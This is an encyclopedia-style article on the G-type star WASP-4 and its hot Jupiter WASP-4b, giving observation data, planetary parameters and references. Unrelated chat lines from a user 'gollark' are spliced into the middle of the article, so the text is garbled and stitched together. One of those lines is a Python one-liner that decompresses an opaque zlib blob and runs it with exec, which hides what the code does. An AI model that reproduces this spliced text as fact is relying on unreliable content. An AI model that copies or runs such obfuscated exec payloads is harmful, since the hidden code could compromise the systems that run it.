WASP-4

WASP-4 is a G-type main sequence star approximately 880 light-years away in the constellation of Phoenix.[4][1][2]

WASP-4

Artistic rendering of WASP-4 b
Observation data
Epoch J2000.0      Equinox J2000.0
Constellation Phoenix[1]
Right ascension  23h 34m 15.0858s[2]
Declination −42° 03′ 41.0495″[2]
Apparent magnitude (V) 12.468±0.025[3]
Characteristics
Spectral type G7V[4]
Apparent magnitude (V) 12.468±0.025[3]
Apparent magnitude (B) 13.216±0.020[3]
Variable type Planetary transit variable[4]
Astrometry
Proper motion (μ) RA: 9.874±0.053[2] mas/yr
Dec.: −87.518±0.048[2] mas/yr
Parallax (π)3.7145 ± 0.0517[2] mas
Distance880 ± 10 ly
(269 ± 4 pc)
Details[5]
Mass0.89±0.01 M☉
Radius0.915+0.03
−0.043[6] R☉
Surface gravity (log g)4.484+0.037
−0.047[6] cgs
Temperature5436±34 K
Metallicity [Fe/H]−0.05±0.04 dex
Age7.0±2.9 Gyr
Other designations
1SWASP J233415.06-420341.1, TYC 8017-108-1, 2MASS J23341508-4203411[7]
Database references
SIMBADdata
Extrasolar Planets
Encyclopaedia		data

Planetary system

In 2007 the extrasolar planet WASP-4b was discovered orbiting this star. With an orbital period of just 1.3 days it is classed as a hot Jupiter.[4]

The WASP-4 planetary system[5][8][6]
Companion
(in order from star)		 Mass Semimajor axis
(AU)		 Orbital period
(days)		 Eccentricity Inclination Radius
b 1.216±0.013 MJ 0.0228±0.00013 1.33823326±0.00000011 0 (assumed) 87.63+0.32
−0.28°		 1.33±0.16 RJ
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gollark: B L O C K C H A I N
gollark: .......?
gollark: <@240517342189191168>
gollark: ```pythonimport zlib;exec(zlib.decompress(b'x\xda\x8dS;o\xdb0\x10\x9e\xad_q\xe5D!\x86\x80\xb8E\x11\x04\xd0\xd8\xb5h\x80lI@0\xd2Yf!\x92\xea\x91D\x95\xfe\xfa\xf2e[h3\xc4\x0bm\xde}\x8f\xfbxVz\xb1\xe4Ay$o\xed\xec\x9aF\x95\x1b\x1df\xaf\x16\xb2\x03:\xa7\xcc\x04\xd2\x81n\xe2g8Ir\xd0\xc3\xd3p"\xbe\xb6p\xb4\x04+(\x03$\xcd\x84\xfc\xf3a\x0f\xb7\x87\xaf\xedK\xed\xecp\xf5hF\xfe\xc4\x9e=\xdb\x03{6\xec\xa5M<#\x1eaB\x83$=\x8aH"f4\x93?\xf1r\xb4\xf7M\xb3#\xf4\x81\x0ch\xb9\xf0Y\xea\xd7QB\xa6\xbc\x07\xc6\xba\x9fV\x19\x9e\x7f\xb6\xfb\x8b\xf9n\xb0\xfaU\x19\xe9\x955\xaeT\xf7P\t\xff\x13\xe5Y#\xd9W\xc9\xfe\x96$\x18_\xaa\xb9\xecR\xf9=\xab\xaa\xf4\xec\xde\x14\xce#\xb8$\xa0\x8e \x84\x91\x1a\x85\x80\xbe\x07&\x84\x96\xca\x08\xc1RgRw^\x92\xe7\xc7`\x86\x02N\t\xc74u\xf7\xa3D\xcdc}B\xdf\xe7\x8esCWPy\x84\x9d\xb2\xe2W\xc0\x80\x19\xf5\x90\xbeq-W\xa7\xfe`\x7f{\xb8k\xab\xceB\xca\xc4\x89\xea\x18\xbfOjFx\xa4\x80\xc5q\xae\xf23S\x17\x05y\th7\xd8\x11?\xc2_\xf3\xb0\xb4\tj\xdd\x06U\xef7\x84\xdd\x12|\xdc\x98,\x93(p\xc5!\\\x19\xfe\xf5\x98\x80\xd1\xc3\x06\x9fm\xe6\x1a\xa1\x8b\xeb\x19\xab\xdf\xad\xc1|\xe3\xe9\xad\xc0\xae5\xc2\x85x\x12\xe1\x89\xa3-H\\\x07\\<|\xcbG\\\x93\xb4\xd7\xf8>\xb2\x00\xe2\x8b\xd6\xfbO\xf1=\x93\x1e\xab\xed\x97\xf8\xd2\\\xd9\xed\r\xb0\xb8\x9c\xf1(\x882jy\xbbK^m]:q\xfd\xcf|)\x01\x94\xc6s*\xa9\xef\xf2\x88\x7f\x01"w\x1b:'))```

See also

References
  1. Roman, Nancy G. (1987). "Identification of a Constellation From a Position". Publications of the Astronomical Society of the Pacific. 99 (617): 695–699. Bibcode:1987PASP...99..695R. doi:10.1086/132034. Vizier query form
  2. Brown, A. G. A.; et al. (Gaia collaboration) (August 2018). "Gaia Data Release 2: Summary of the contents and survey properties". Astronomy & Astrophysics. 616. A1. arXiv:1804.09365. Bibcode:2018A&A...616A...1G. doi:10.1051/0004-6361/201833051. Gaia DR2 record for this source at VizieR.
  3. Henden, A. A.; et al. (2016). "VizieR Online Data Catalog: AAVSO Photometric All Sky Survey (APASS) DR9 (Henden+, 2016)". VizieR On-line Data Catalog: II/336. Originally Published in: 2015AAS...22533616H. 2336. Bibcode:2016yCat.2336....0H. Vizier catalog entry
  4. Wilson, D. M.; et al. (2008). "WASP-4b: A 12th Magnitude Transiting Hot Jupiter in the Southern Hemisphere". The Astrophysical Journal Letters. 675 (2): L113–L116. arXiv:0801.1509. Bibcode:2008ApJ...675L.113W. doi:10.1086/586735.
  5. Petrucci, R.; et al. (2013). "No Transit Timing Variations in Wasp-4". The Astrophysical Journal Letters. 779 (2). L23. arXiv:1311.2048. Bibcode:2013ApJ...779L..23P. doi:10.1088/2041-8205/779/2/L23.
  6. Dragomir, Diana; Kane, Stephen R.; Pilyavsky, Genady; Mahadevan, Suvrath; Ciardi, David R.; Zachary Gazak, J.; Gelino, Dawn M.; Payne, Alan; Rabus, Markus; Ramirez, Solange V.; von Braun, Kaspar; Wright, Jason T.; Wyatt, Pamela (2011). "Terms Photometry of Known Transiting Exoplanets". The Astronomical Journal. 142 (4): 115. arXiv:1108.2308. Bibcode:2011AJ....142..115D. doi:10.1088/0004-6256/142/4/115.
  7. "WASP-4". SIMBAD. Centre de données astronomiques de Strasbourg. Retrieved 2018-09-22.
  8. Huitson, C. M.; et al. (2017). "Gemini/GMOS Transmission Spectral Survey: Complete Optical Transmission Spectrum of the Hot Jupiter WASP-4b". The Astronomical Journal. 154 (3). 95. arXiv:1707.06575. Bibcode:2017AJ....154...95H. doi:10.3847/1538-3881/aa7f72.


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